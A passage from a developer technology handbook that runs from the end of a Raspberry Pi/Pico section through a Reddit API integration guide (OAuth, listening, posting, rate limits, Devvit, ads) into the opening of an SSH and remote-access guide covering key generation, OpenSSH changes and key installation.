  6. Harden and verify. Ask Claude to audit the box: sshd -T, ufw status verbose, unattended-upgrade --dry-run, systemd-analyze security <unit> — and fix what it finds.

Run Claude Code over SSH for the tightest loop: edit on the laptop, execute on the Pi, watch real sensor output stream back. Pair with chrome-devtools to verify any web UI the Pi serves.


15. Raspberry Pi Pico (the microcontroller)

The Pico is a different animal: a microcontroller board built on the in-house RP2040 (Pico/Pico W) or RP2350 (Pico 2 / Pico 2 W) chip — not a Linux computer. The RP2350 keeps the dual-core, dual-PIO design but adds switchable Arm Cortex-M33 or RISC-V (Hazard3) cores, more SRAM, and secure/signed boot. No OS, no SD card; you flash one program that runs on bare metal. It shines where the Pi is weak: precise real-time timing, microamp sleep, true analog inputs (ADC), and being cheap enough to scatter — and its price isn't hostage to LPDDR4.

flowchart LR
  subgraph SBC["Raspberry Pi (SBC)"]
    OS["Full Linux · network · ML · servers"]
  end
  subgraph MCU["Raspberry Pi Pico (MCU)"]
    BM["Bare-metal · real-time pins · ADC · µA sleep"]
  end
  MCU -->|"UART / I2C / USB / MQTT"| SBC
  SBC -->|"brains + internet"| CLOUD["Cloud / dashboard"]

Two ways to program it:

# MicroPython (drag-and-drop firmware, then this is main.py) — blink the onboard LED
from machine import Pin
from time import sleep
led = Pin("LED", Pin.OUT)
while True:
    led.toggle()
    sleep(0.5)
// C/C++ with the Pico SDK — pico-examples style
#include "pico/stdlib.h"
int main() {
    const uint LED = PICO_DEFAULT_LED_PIN;
    gpio_init(LED); gpio_set_dir(LED, GPIO_OUT);
    while (true) { gpio_put(LED, 1); sleep_ms(250); gpio_put(LED, 0); sleep_ms(250); }
}

Pico W (RP2040) and Pico 2 W (RP2350) add 2.4 GHz Wi-Fi + Bluetooth, so they can publish to MQTT on their own. The classic architecture: Picos at the edge (sensors, real-time control) talking to a Pi hub (network, storage, dashboard).


16. Comparable tech stacks

Platform Type Pick it when
Arduino (Uno/Nano) MCU Dead-simple 5V I/O, huge tutorial base, no networking needed
ESP32 MCU + Wi-Fi/BT Cheap connected sensors; battery IoT (the budget IoT king)
Raspberry Pi Pico 2 / Pico 2 W MCU (RP2350) Real-time control, PIO, MicroPython/C, very cheap
NVIDIA Jetson (Orin Nano) SBC + GPU On-device deep-learning / larger LLMs a Pi 5 + HAT can't keep up with
Hailo / DEEPX / Coral accelerators NPU add-ons Fast, low-power inference added to a Pi
BeagleBone SBC Hard real-time via PRUs, industrial I/O
Orange Pi / Radxa / Banana Pi SBC More specs per dollar; software/community less polished
x86 mini-PCs (N100-class) x86 You need x86 compatibility — and at 2026 Pi 5 8–16 GB prices, often comparable cost
flowchart TB
  Q{"What do you need?"}
  Q -->|"Heavy ML / bigger LLMs"| JET["Jetson · or Pi 5 + AI HAT+ 2"]
  Q -->|"Cheap Wi-Fi sensor"| ESP["ESP32 / Pico 2 W"]
  Q -->|"Real-time, no OS"| PICO["Pico 2 / Arduino"]
  Q -->|"Linux box + GPIO<br/>(the all-rounder)"| RPI["Raspberry Pi"]
  Q -->|"Lots of RAM, no GPIO"| X86["x86 mini-PC"]

The honest summary: the Pi wins on ecosystem — documentation, community answers, first-party tooling (Imager, Connect, OS updates), and "it just works" software. Rivals win on specific axes (price-per-GB in 2026, GPU, battery life, real-time determinism). Most serious builds are hybrids: a Pi for brains + a Pico/ESP32 for the real-time edge.


17. codeAmani notes

Official docs:

Reddit Integration Guide

Technology: reddit · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/reddit

Insight:

Reddit is a social-listening, community-engagement and ad channel, not a payment or auth rail. Since 2025-11-11 the Data API is approval-only under the Responsible Builder Policy: you can no longer self-create a working app at reddit.com/prefs/apps, so file the API-access request before you plan any Data API build, and expect rejections for vague or commercial use cases. Approved clients get 100 QPM per OAuth client id (10-min average), must send a descriptive User-Agent, and should delete stored content within 48 h. Reddit now steers bots and mod tools to Devvit (devvit / @devvit/web 0.15.0), which needs no API key but only allows OpenAI and Gemini as LLMs, not Claude. The Ads API v3 and Conversions API are separate, open without allowlisting, and the right tool for paid campaigns. For codeAmani: manual, value-first participation is always allowed; programmatic listening for product research is a business use, so get written approval first. Never astroturf: sockpuppets, vote manipulation and copy-paste promo are bannable.

██████╗ ███████╗██████╗ ██████╗ ██╗████████╗
██╔══██╗██╔════╝██╔══██╗██╔══██╗██║╚══██╔══╝
██████╔╝█████╗  ██║  ██║██║  ██║██║   ██║   
██╔══██╗██╔══╝  ██║  ██║██║  ██║██║   ██║   
██║  ██║███████╗██████╔╝██████╔╝██║   ██║   
╚═╝  ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝   ╚═╝   

Reddit Integration Guide

Focus: Use Reddit to learn what users actually ask for (listening), to build trust as the codeAmani-Labs account (engagement), and, when a product is live, to run and measure ads (Ads API + Conversions API). Pick the right one of Reddit's four developer surfaces before writing code; the access rules differ a lot between them.

Overview

Reddit is a forum of forums: thousands of topic communities ("subreddits") where people ask real questions and complain about real problems in their own words. That makes it one of the best voice-of-customer sources on the open web, and a place to build reputation by being helpful before being promotional.

Reddit exposes four developer surfaces. They have different owners, access rules and auth:

Surface What it's for Access (Oct 2026) Auth
Data API (oauth.reddit.com) Read listings/search, post comments from an off-Reddit server Approval required for every new client (Responsible Builder Policy, 2025-11-11). Commercial use needs a written agreement. OAuth2 client id + secret, bearer token
Developer Platform ("Devvit") Apps that run on Reddit: mod tools, bots, interactive posts, games Self-serve to build and playtest; App Review before public listing or premium features (fetch, LLMs, payments) None to manage: Devvit authenticates the reddit permission
Ads API v3 (ads-api.reddit.com/api/v3) Create and manage campaigns, pull reports Open, no allowlisting (Ads API Terms apply) OAuth2 auth-code flow, ads* scopes
Conversions API (CAPI v3) Send server-side conversion events for ad attribution Open to advertisers (Advertiser Measurement Program Terms) Conversion access token from Events Manager

The codeAmani loop is still listen → analyse → engage, with ads as an optional fourth step:

flowchart LR
  A["Request Data API access<br/>(Responsible Builder Policy)"] -->|"approved client id + secret"| B["OAuth2 token<br/>/api/v1/access_token"]
  B -->|"bearer token"| C["oauth.reddit.com"]
  C -->|"GET /r/sub/new · /search"| D["Listen: threads"]
  D --> E["Analyse with Claude<br/>themes · pain-points"]
  E --> F["Roadmap decisions"]
  E -.->|"value-first reply<br/>(manual or approved bot)"| G["Engage as codeAmani-Labs"]
  F --> H["Ads API v3 campaign"]
  H --> I["Conversions API<br/>server-side events"]
  J["Devvit app<br/>(mod tool / bot on Reddit)"] -.->|"no API key, App Review"| G

Official Documentation

Resource URL
Responsible Builder Policy (who may access data, and how) https://support.reddithelp.com/hc/en-us/articles/42728983564564-Responsible-Builder-Policy
Data API Wiki (rules, User-Agent, rate limits, deletion) https://support.reddithelp.com/hc/en-us/articles/16160319875092-Reddit-Data-API-Wiki
Developer Platform & Accessing Reddit Data (FAQ: commercial use, fees, AI) https://support.reddithelp.com/hc/en-us/articles/14945211791892-Developer-Platform-Accessing-Reddit-Data
Data API Terms (last revised 2026-07-20) https://www.redditinc.com/policies/data-api-terms
Developer Terms https://www.redditinc.com/policies/developer-terms
API access request form https://support.reddithelp.com/hc/en-us/requests/new?ticket_form_id=14868593862164
Live API reference https://www.reddit.com/dev/api
OAuth2 flow (legacy archive wiki, still linked by Reddit) https://github.com/reddit-archive/reddit/wiki/OAuth2
Devvit docs / rules / changelog https://developers.reddit.com/docs/ · https://developers.reddit.com/docs/devvit_rules · https://developers.reddit.com/docs/changelog
Ads API v3 reference + OpenAPI spec https://ads-api.reddit.com/docs/v3/ · https://ads-api.reddit.com/api/v3/openapi.json
Conversions API direct integration https://ads-api.reddit.com/docs/v3/guides/programs/capi/direct-integration
PRAW (Python wrapper) https://praw.readthedocs.io/

The archive wiki is stale in places. reddit-archive/…/wiki/API still quotes the old 60 req/min limit and implies self-service app creation. The Data API Wiki itself warns that "some of the information in our legacy API documentation … may be out of date". Treat the Responsible Builder Policy, the Data API Wiki and the Data API Terms as the source of truth.


1. Data API access: request approval first

What changed. On 2025-11-11 Reddit announced the Responsible Builder Policy on r/redditdev and closed self-service access: "Starting today, self-service access to Reddit's public data API will be closed. Anyone looking to build with Reddit data, whether you're a developer, researcher, or moderator, will need to request approval before gaining access." Tokens issued before that date kept working; new clients need approval. The policy's own wording: "You must request access and get explicit approval before accessing any Reddit data through our API."

Which route fits:

You are… Route
Building a mod tool, bot or in-Reddit app Use Devvit first (§6). The policy says developers "should use the Developer Platform"; file a ticket only "if your use case is not supported by Devvit".
A company using Reddit data to power or improve a product (this includes automated market research for codeAmani products) Commercial: needs "explicit written approval" and a contract. Request via the enterprise ticket type.
An academic researcher Only route is the Reddit for Researchers (RFR) program. Research with data collected outside RFR violates the policy.
A person reading and replying by hand No API needed. This is always allowed.

What the request must show. A clear purpose, the exact subreddits and API actions needed, how long you keep data, and confirmation that you won't train models on it. One request per use case: the policy forbids registering multiple accounts or submitting multiple requests for the same use case. Developer reports on r/redditdev (2026) describe slow review and frequent rejections for read-only projects; plan as if approval may not come.

Hard rules once approved (Responsible Builder Policy + Data API Terms):

2. Register the app and store credentials

After approval you create (or are issued) the OAuth app. The app type still decides the grant:

App type Use it for Grant
script Server-side job acting as one account (our brand account) password
web app Acting as other users via consent; long-lived bots with a refresh token authorization_code (+ duration=permanent)
installed app Public clients (mobile/SPA), no secret https://oauth.reddit.com/grants/installed_client

Secrets go in the secrets vault / .env.local and never ship to the browser:

# .env.local: never commit, never expose via NEXT_PUBLIC_*
REDDIT_CLIENT_ID=your-approved-client-id
REDDIT_CLIENT_SECRET=your-client-secret
REDDIT_PASSWORD=brand-account-password      # script-app password grant only
REDDIT_REFRESH_TOKEN=refresh-token-from-oauth   # web-app flow (preferred for long-lived bots)

Non-secret settings (plain env vars or config):

Setting Example Notes
REDDIT_USERNAME codeAmani-Labs Account that owns the script app
REDDIT_USER_AGENT web:com.codeamanilabs.listener:v1.0 (by /u/codeAmani-Labs) Mandatory, unique, descriptive. Bump the version when you ship.

User-Agent format (Data API Wiki): <platform>:<app ID>:<version string> (by /u/<reddit username>). Default agents like Python/urllib or Java "are drastically limited", and Reddit says to never lie about your UA. The same rule applies to the Ads API.


3. Get an OAuth2 token

POST https://www.reddit.com/api/v1/access_token, authenticated with HTTP Basic (client_id:client_secret). Tokens last about an hour (expires_in: 3600); cache and refresh before expiry.

Read-only "listening" token (application-only)

// lib/reddit-auth.ts
const TOKEN_URL = "https://www.reddit.com/api/v1/access_token";

export async function getAppToken(): Promise<string> {
  const basic = Buffer.from(
    `${process.env.REDDIT_CLIENT_ID}:${process.env.REDDIT_CLIENT_SECRET}`
  ).toString("base64");

  const res = await fetch(TOKEN_URL, {
    method: "POST",
    headers: {
      Authorization: `Basic ${basic}`,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": process.env.REDDIT_USER_AGENT!,
    },
    // Confidential clients (script / web app) use client_credentials.
    body: new URLSearchParams({ grant_type: "client_credentials" }),
  });

  if (!res.ok) throw new Error(`Reddit token failed: ${res.status}`);
  const { access_token } = (await res.json()) as { access_token: string };
  return access_token;
}

Posting token (script app, password grant)

Acts as codeAmani-Labs. Only works for the account that owns a script app.

// Swap the body for the password grant; everything else is identical.
const body = new URLSearchParams({
  grant_type: "password",
  username: process.env.REDDIT_USERNAME!,
  password: process.env.REDDIT_PASSWORD!,
});

For a long-running bot, prefer a web app + authorization_code flow with duration=permanent and store the refresh token in the vault, so you never store the account password. Remember the policy: a bot account must be used only for the bot.


4. Authenticated requests → oauth.reddit.com

All API calls go to https://oauth.reddit.com (not www.reddit.com) with the bearer token and your UA. Modhashes are not needed under OAuth.

// lib/reddit.ts
const API = "https://oauth.reddit.com";

export async function redditGet<T>(path: string, token: string): Promise<T> {
  const res = await fetch(`${API}${path}`, {
    headers: {
      Authorization: `bearer ${token}`,
      "User-Agent": process.env.REDDIT_USER_AGENT!,
    },
  });
  logRateLimit(res.headers); // see §5
  if (!res.ok) throw new Error(`Reddit GET ${path} → ${res.status}`);
  return (await res.json()) as T;
}

Listen: newest posts in a subreddit

// GET /r/:subreddit/new: limit ≤ 100, paginate with `after`
type Listing = { data: { after: string | null; children: { data: Record<string, unknown> }[] } };

const listing = await redditGet<Listing>("/r/SaaS/new?limit=50", token);
const posts = listing.data.children.map((c) => ({
  fullname: String(c.data.name), // "t3_abc123"
  title: String(c.data.title),
  body: String(c.data.selftext ?? ""),
  url: `https://reddit.com${String(c.data.permalink)}`,
  score: Number(c.data.score),
  numComments: Number(c.data.num_comments),
}));

Listen: search for threads we can answer

// Search all of Reddit
await redditGet(`/search?q=${encodeURIComponent("stripe checkout nextjs")}&sort=new&limit=25`, token);

// Search within one subreddit (restrict_sr=true)
await redditGet(`/r/webdev/search?q=stripe+webhooks&restrict_sr=true&sort=relevance&limit=25`, token);

// Find communities to monitor
await redditGet(`/subreddits/search?q=saas&sort=relevance&limit=10`, token);

Engage: comment on a thread

thing_id is the fullname of the parent (t3_ post, t1_ comment). Needs the submit scope and a posting token.

export async function redditPost(path: string, token: string, form: Record<string, string>) {
  const res = await fetch(`https://oauth.reddit.com${path}`, {
    method: "POST",
    headers: {
      Authorization: `bearer ${token}`,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": process.env.REDDIT_USER_AGENT!,
    },
    body: new URLSearchParams(form),
  });
  if (!res.ok) throw new Error(`Reddit POST ${path} → ${res.status}`);
  return res.json();
}

// Reply to a post
await redditPost("/api/comment", token, {
  api_type: "json",
  thing_id: "t3_abc123",
  text: "Here's how we handled Stripe webhook retries idempotently…", // raw markdown
});

Engage: submit a self-post

// kind=self for a text post; kind=link with `url` for a link post.
await redditPost("/api/submit", token, {
  api_type: "json",
  sr: "webdev",
  kind: "self",
  title: "What we learned shipping Stripe subscriptions in Next.js 15",
  text: "After a few launches, here's what tripped us up…",
});

Pre-validate before submitting. GET /api/v1/{subreddit}/post_requirements returns mod rules (title length, required flair, blacklisted words, allowed domains). Check it first to avoid auto-removal. Automated posting is where the policy bites hardest: no identical text across subreddits, and every automated account needs the App label.


5. Rate limits, retention & resilience

From the Data API Wiki (Oct 2026), for free-access usage:

Limit Value
Requests 100 QPM per OAuth client id, averaged over a 10-minute window (bursting is fine)
Chat messages 2,000/day per recipient · 3,000/day total
Chat rooms (bots) join up to 300/day
Non-OAuth traffic Blocked (the old "10 QPM" fallback no longer applies)

Every response carries the live budget:

Header Meaning
X-Ratelimit-Used Approx. requests used this period
X-Ratelimit-Remaining Approx. requests left
X-Ratelimit-Reset Approx. seconds until the period ends
export function logRateLimit(h: Headers): void {
  const remaining = Number(h.get("x-ratelimit-remaining") ?? "100");
  const reset = Number(h.get("x-ratelimit-reset") ?? "0"); // seconds
  if (remaining < 5) {
    // Sleep until the window resets instead of risking a 429.
    console.warn(`Reddit budget low: ${remaining} left, reset in ${reset}s`);
  }
}

On 429, wait for X-Ratelimit-Reset and retry (see examples/listen.ts). Cache tokens (~1 h) and listings; listening doesn't need to be real-time.

Retention. Delete local copies when Reddit content is deleted; default to purging stored posts after 48 h and keep only derived, de-identified aggregates (theme counts, not usernames). The Data API Terms also require deleting cached content and derived models if access ends.

Pricing

Reddit publishes no price list for the Data API. The Data API Terms (revised 2026-07-20) say Reddit "reserves the right to charge fees … rates to be determined at Reddit's sole discretion", and anything commercial, over the rate limit, or not expressly permitted needs a separate agreement. The FAQ adds that bulk export is "significantly limited by default" and that select developers "may be charged fees to lift those limits". Treat cost as "contract, negotiated". The "$0.24 per 1,000 calls" figure that circulated in 2023 was never in Reddit's docs and has been removed from this guide.


6. Devvit (Reddit Developer Platform)

Devvit apps run on Reddit's infrastructure: you don't create an OAuth app or manage keys ("Devvit handles authentication automatically when you enable the reddit permission"). Reddit now calls Devvit "the primary way to develop Reddit extensions" and is paying developers to migrate Data API bots (the $1,000,000 App Migration Program; register at https://developers.reddit.com/app-registration).

Versions (npm, 2026-10-20): devvit 0.15.0 (CLI) and @devvit/web 0.15.0 (released 2026-10-19). Templates require Node ≥ 24.

0.15.0 breaking changes: devvit.yaml is no longer supported (migrate to devvit.json), and reddit.getWikiPage(subreddit, page, revisionId) became getWikiPage(subreddit, page, options). @devvit/public-api and the blocks property in devvit.json are deprecated (still supported): build new apps on Devvit Web (@devvit/web).

npm install -g devvit@0.15.0     # or use npx devvit
npx devvit login
npx devvit init                  # pick a template (React, Phaser, Three.js, Hello World)
npx devvit playtest              # installs to a test subreddit, streams logs
npx devvit upload                # private upload (visible only to you)
npx devvit publish               # new version + source uploaded for App Review
npx devvit settings set apiKey   # store a global secret (never in devvit.json)

Shape of a Devvit Web app:

.
├── src/client/   # webview (HTML/CSS/JS, React…), shown inside a post
├── src/server/   # Node server: /api/* for the client, /internal/* for triggers, menus, cron
└── devvit.json   # name, permissions, settings, triggers, scheduler, menu
{
  "$schema": "https://developers.reddit.com/schema/config-file.v1.json",
  "name": "keyword-watch",
  "server": { "dir": "dist/server", "entry": "index.js" },
  "permissions": { "reddit": true, "redis": true },
  "triggers": { "onPostSubmit": "/internal/triggers/post-submit" }
}

Server code imports capabilities from one entry point:

import { reddit, redis, settings, context } from "@devvit/web/server";
import type { OnPostSubmitRequest, TriggerResponse } from "@devvit/web/shared";

Full runnable mod tool: examples/devvit-keyword-watch/.

Limits and rules that matter:

Topic Rule
Runtime Serverless endpoints, 30 s max request, 4 MB payload, 10 MB response; no fs, no native packages, no websockets/streaming
Server endpoints Client fetches only to your own /api/*; treat them as public and check permissions server-side
HTTP fetch Server-side only, allowlisted exact hostnames declared in permissions.http.domains; reviewed in ~1–2 business days
LLMs Only OpenAI (api.openai.com) and Google Gemini are approved. Self-hosted models are not. Anthropic/Claude is not allowed in Devvit apps.
Training Never use Reddit data to train or fine-tune any model
Deletion On onPostDelete / onCommentDelete, delete the content from Redis and any external service
Triggers Can be delivered more than once, so make handlers idempotent; avoid recursive triggers
Review Needed to list in the App Directory and for premium features (fetch, LLMs, payments); apps using them need their own ToS and privacy policy
Payments Devvit Payments under Reddit's Earn Terms; you cannot send users off-platform to pay (so no Stripe or M-Pesa links in a Devvit app)
Secrets settings with isSecret: true, set via npx devvit settings set; .env is read during playtest only

7. Reddit Ads API v3 & Conversions API

Use these when a codeAmani product advertises on Reddit. They are separate from the Data API: the Ads API "is open to all developers and does not require allowlisting or approval". Terms: Ads API Terms; CAPI also falls under the Advertiser Measurement Program Terms.

Ads API basics

Conversions API (CAPI v3)

Runnable example with email hashing and backoff: examples/capi-conversion.ts. Store the conversion token as a secret:

REDDIT_CONVERSION_TOKEN=your-conversion-access-token
REDDIT_ADS_CLIENT_SECRET=your-ads-app-secret
Non-secret setting Example
REDDIT_PIXEL_ID your Pixel ID (from Events Manager)
REDDIT_ADS_CLIENT_ID Ads developer-app id
REDDIT_CAPI_TEST_ID Test code from Events Manager → Testing (dev only)

8. Wrappers


codeAmani notes

Access decision (do this first)

Security

Culture & ToS (this matters most)

AI routing (ties to the AI Routing Policy)

Payments

Market fit (US-first, Kenya per project)

Official docs:

Remote Access Integration Guide

Technology: remote-access · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/remote-access

Insight:

Every tool here answers one question — how do I reach a machine that isn't in front of me — and the good answers all share a shape: identity over network position, and nothing listening on the internet. SSH is the deep one: an Ed25519 keypair, a ~/.ssh/config block, and ProxyJump mean at most one box has a public port, and -L/-R/-D carry any TCP stream through that one encrypted channel. Modern OpenSSH (10.6) does more of the work than the folklore suggests: Ed25519 is the ssh-keygen default, DSA is gone, post-quantum hybrid key agreement is the default and both client and server now warn when a connection falls back to a classical one, and sshd ships its own brute-force penalty box. Above SSH, the outbound-only tools (Tailscale, Cloudflare Tunnel + Access, VS Code tunnels, Claude Code Remote Control) let you close the inbound firewall completely and trade long-lived keys for IdP-backed MFA and short-lived certificates. The one default that still bites: sshd accepts passwords until you turn them off.

██████╗ ███████╗███╗   ███╗ ██████╗ ████████╗███████╗     █████╗  ██████╗ ██████╗███████╗███████╗███████╗
██╔══██╗██╔════╝████╗ ████║██╔═══██╗╚══██╔══╝██╔════╝    ██╔══██╗██╔════╝██╔════╝██╔════╝██╔════╝██╔════╝
██████╔╝█████╗  ██╔████╔██║██║   ██║   ██║   █████╗      ███████║██║     ██║     █████╗  ███████╗███████╗
██╔══██╗██╔══╝  ██║╚██╔╝██║██║   ██║   ██║   ██╔══╝      ██╔══██║██║     ██║     ██╔══╝  ╚════██║╚════██║
██║  ██║███████╗██║ ╚═╝ ██║╚██████╔╝   ██║   ███████╗    ██║  ██║╚██████╗╚██████╗███████╗███████║███████║
╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝ ╚═════╝    ╚═╝   ╚══════╝    ╚═╝  ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚══════╝╚══════╝

Remote Access Integration Guide

Focus: securely reaching a machine or service that isn't directly exposed — a box behind a firewall, a localhost dev server Daraja needs to call, a Raspberry Pi on the office LAN, an Ubuntu distro inside WSL. Deep on SSH (keys, ~/.ssh/config, bastions, agent, forwarding, hardening), then tunnels, mesh VPN, and remote dev. Covers Windows hosts (OpenSSH Server, RDP) and remote-dev surfaces (VS Code Remote, Claude Code Remote Control) too. Grounded in the OpenSSH man pages and release notes, ngrok, Cloudflare, Tailscale, Microsoft and Anthropic docs; reviewed 2026-10-20 against OpenSSH 10.6p1, cloudflared 2026.10.2 and Tailscale v1.104.1.

Table of contents

  1. Overview & decision tree
  2. SSH keys
  3. The SSH agent (and why forwarding is dangerous)
  4. ~/.ssh/config — host blocks
  5. Bastions & ProxyJump
  6. Port forwarding: -L, -R, -D
  7. Hardening sshd
  8. SSH and WSL Ubuntu
  9. Public tunnels (ngrok, Cloudflare Tunnel, Tailscale Funnel)
  10. VPN & zero-trust (Tailscale, WireGuard, Cloudflare Access)
  11. Windows hosts: OpenSSH Server, RDP, VNC
  12. Remote development
  13. Security checklist
  14. Troubleshooting
  15. codeAmani notes

Official documentation

Source URL What it covers
OpenSSH ssh manual https://www.man7.org/linux/man-pages/man1/ssh.1.html -L/-R/-D forwarding, -J jump host, -A, -N, -W, escape sequences
OpenSSH ssh_config (current) https://man.openbsd.org/ssh_config.5 ~/.ssh/config, ProxyJump, IdentityFile, ControlMaster, WarnWeakCrypto
OpenSSH sshd_config (current) https://man.openbsd.org/sshd_config.5 Server hardening, PerSourcePenalties, WarnWeakCrypto, AgentSocketPath, default KexAlgorithms
OpenSSH ssh-keygen (current) https://man.openbsd.org/ssh-keygen.1 Key types (Ed25519 default, -sk FIDO, mldsa44-ed25519), certificates, -R
OpenSSH release notes https://www.openssh.org/releasenotes.html What changed per release — PQ key exchange, DSA removal, 10.6 security fixes
ngrok free plan limits https://ngrok.com/docs/pricing-limits/free-plan-limits Static dev domain, endpoint/bandwidth/request caps, browser interstitial
ngrok agent CLI https://ngrok.com/docs/gateway/agent/cli ngrok http, --url, config add-authtoken
Cloudflare Tunnel (locally-managed) https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/create-local-tunnel/ cloudflared tunnel login/create/route/run, config.yml
Cloudflare Tunnel (remotely-managed, recommended) https://developers.cloudflare.com/tunnel/get-started/ Dashboard/API-managed tunnels run with a token
Cloudflare Access for Infrastructure (SSH) https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/use-cases/ssh/ssh-infrastructure-access/ Short-lived SSH certificates, per-user policy, SSH command logs
Tailscale CLI https://tailscale.com/docs/reference/tailscale-cli up/set/status/ssh/serve/funnel
Tailscale SSH https://tailscale.com/docs/features/tailscale-ssh tailscale set --ssh, grants + ssh policy, check mode, limitations
Tailscale Funnel https://tailscale.com/docs/features/tailscale-funnel Public HTTPS on ports 443/8443/10000
Windows OpenSSH https://learn.microsoft.com/windows-server/administration/openssh/openssh_install_firstuse Install/enable sshd on Windows 10/11 and Server 2019–2025
Windows OpenSSH keys https://learn.microsoft.com/windows-server/administration/openssh/openssh_keymanagement administrators_authorized_keys, ACLs, ssh-agent service
Remote Desktop on Windows https://learn.microsoft.com/windows-server/remote/remote-desktop-services/remotepc/remote-desktop-allow-access Which editions can host RDP, enabling it safely
WSL networking https://learn.microsoft.com/windows/wsl/networking NAT vs mirrored mode, netsh portproxy, Hyper-V firewall
VS Code Remote-SSH / Tunnels https://code.visualstudio.com/docs/remote/ssh · https://code.visualstudio.com/docs/remote/tunnels Host requirements, code tunnel
Claude Code Remote Control https://code.claude.com/docs/en/remote-control claude remote-control, outbound-only, Trusted Devices

1. Overview & decision tree

"Remote access" is one verb — reach a thing that's elsewhere — answered by a handful of tools that trade off predictably:

flowchart TD
    Q{"What do you need<br/>to reach?"}
    Q -->|"a shell on a routable box"| SSH["SSH + ~/.ssh/config<br/>ProxyJump through one bastion"]
    Q -->|"the internet must hit<br/>my localhost"| TUN["ngrok / cloudflared<br/>public HTTPS front door"]
    Q -->|"many services,<br/>whole team, no open ports"| MESH["Tailscale / WireGuard<br/>identity-gated mesh"]
    Q -->|"a graphical desktop"| GUI["RDP/VNC<br/>tunnelled, never raw"]
    SSH --> FWD["-L / -R / -D<br/>carry any TCP stream"]
    classDef accent fill:#0891B2,color:#fff,stroke:#22D3EE
    classDef muted fill:#1e293b,color:#e2e8f0,stroke:#334155
    class SSH,TUN,MESH accent
    class GUI,FWD muted

Security is the constant: keys not passwords, least privilege, MFA, and an audit trail.

What changed in OpenSSH recently

Folklore about SSH ages badly. The current baseline is OpenSSH 10.6p1, released 2026-10-06. OpenSSH said in the 10.6 notes that it will now ship security fixes in more frequent releases rather than batch them, so expect point releases more often and patch promptly.

Since Change What it means for you
8.8 ssh-rsa (RSA/SHA-1 signatures) disabled by default Ancient servers may reject your RSA key — regenerate as Ed25519 rather than re-enabling SHA-1
9.5 ssh-keygen generates Ed25519 by default ssh-keygen with no flags is already the right answer; -t ed25519 is documentation, not necessity
9.8 PerSourcePenalties — sshd's built-in penalty box The server already throttles brute-forcers before you install fail2ban
10.0 Hybrid post-quantum key agreement mlkem768x25519-sha256 is the client default; DSA removed entirely Harvest-now-decrypt-later is covered when both ends run ≥10.0. ssh-dss keys are dead — a device that needs DSA needs replacing
10.1 ssh warns when a connection negotiates a non-PQ key agreement (WarnWeakCrypto, default on); agent sockets move from /tmp to ~/.ssh/agent A new warning on connect means the server is old — upgrade it, don't silence the warning
10.4 Experimental composite PQ signature mldsa44-ed25519 (ssh-keygen -t mldsa44-ed25519) Opt-in only in 10.4
10.5 ssh-agent lock / session-bind fix; restrict now covers tunnel forwarding Patch release — upgrade if you rely on agent locking or destination-restricted keys
10.6 ssh-mldsa44-ed25519 signatures enabled (keys from the 10.4 experiment must be regenerated); sshd gains WarnWeakCrypto (logs clients using non-PQ KEX); LZ77 compression dictionary disabled after a cross-channel plaintext-recovery attack; command-line usernames containing $ or \ rejected; PubkeyOptions max-pk-ok:N; scp -R deprecated Leave Compression off; read sshd logs for non-PQ clients; never pipe untrusted input into an ssh command line

Current sshd_config(5) default KexAlgorithms starts mlkem768x25519-sha256, sntrup761x25519-sha512, … — check what a live connection actually negotiated with ssh -v host 2>&1 | grep 'kex: algorithm'.


2. SSH keys

Generate

The private key never leaves your machine; only the .pub half is ever copied anywhere.

# Ed25519 — small, fast, and the ssh-keygen default since OpenSSH 9.5.
# -C is a free-text comment (shows up in authorized_keys — make it identify the key).
# -f names the file so you can keep per-purpose keys instead of one id_ed25519 for everything.
ssh-keygen -t ed25519 -C "barnabas@codeamani-laptop" -f ~/.ssh/id_ed25519

# Same, with a passphrase-hardened private key: -a sets KDF rounds (higher = slower to
# brute-force if the file is stolen). 100 is a common, comfortable value.
ssh-keygen -t ed25519 -a 100 -C "barnabas@codeamani-laptop" -f ~/.ssh/id_ed25519

# Only if a legacy appliance genuinely can't do Ed25519:
ssh-keygen -t rsa -b 4096 -C "legacy-appliance-only"

Always set a passphrase. An unprotected private key is a bearer token sitting in a file — anyone who copies it is you. The passphrase is what makes a stolen laptop a nuisance instead of a breach, and the agent (§3) means you type it once per boot.

Use one key per device, not one key per human. Losing a laptop should mean deleting one line from authorized_keys, not rotating every server you own.

Hardware-backed keys (MFA for SSH)

A FIDO2 security key turns the SSH key into something you have plus, with a PIN, something you know. The private key can't be copied off the token, so a stolen laptop alone gets an attacker nothing.

# ed25519-sk = Ed25519 held on a FIDO authenticator. Every signature needs a touch.
# -O verify-required also demands the token's PIN or biometric on each use.
# -O resident stores the key handle ON the token so you can load it on another machine
# with `ssh-keygen -K` (needs a PIN set on the authenticator first).
ssh-keygen -t ed25519-sk -O verify-required -O resident -C "barnabas@yubikey"

The server needs nothing special beyond OpenSSH 8.2+; the .pub goes in authorized_keys like any other key. Keep a second, registered token as a backup.

Post-quantum signatures are not the default yet. OpenSSH 10.6 enables the hybrid ssh-mldsa44-ed25519 signature algorithm and ssh-keygen lists mldsa44-ed25519 as a key type, but Ed25519 remains the ssh-keygen default. Key agreement (session encryption) is already post-quantum by default since 10.0, which is the part harvest-now-decrypt-later attacks target. Don't roll out ML-DSA user keys until every server and client in the path runs ≥10.6.

Install the public half

# Easiest — needs an existing way in (password auth, or another key already installed)
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server.example.com

# Manual equivalent when ssh-copy-id isn't available (permissions matter — see below)
cat ~/.ssh/id_ed25519.pub | ssh user@server.example.com \
  'mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'

# Verify before you disable password auth — keep the working session open!
ssh -i ~/.ssh/id_ed25519 user@server.example.com

Permissions are enforced, not advisory. ~/.ssh must be 700, private keys 600, and authorized_keys 600. If the mode is looser, ssh refuses the key with UNPROTECTED PRIVATE KEY FILE and sshd silently ignores authorized_keys. This is the #1 cause of "my key just doesn't work" — and the #1 reason not to keep keys on a Windows mount inside WSL (§8).

Host key verification (the direction people forget)

